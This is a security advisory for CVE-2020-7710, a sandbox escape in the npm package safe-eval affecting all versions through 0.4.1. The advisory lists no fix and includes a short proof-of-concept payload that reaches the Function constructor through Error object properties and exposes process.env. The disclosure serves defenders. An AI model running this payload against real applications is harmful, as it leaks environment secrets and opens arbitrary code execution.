Advisory

GHSA-hrpq-r399-whgw

Also known as: CVE-2020-7710

Summary

Sandbox Breakout / Arbitrary Code Execution in safe-eval

Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2020-08-25 23:40 UTC
Modified
2026-03-13 21:56 UTC

Affected packages and fixes

safe-eval

npm · All systems

Affected

  • introduced 0, last affected 0.4.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences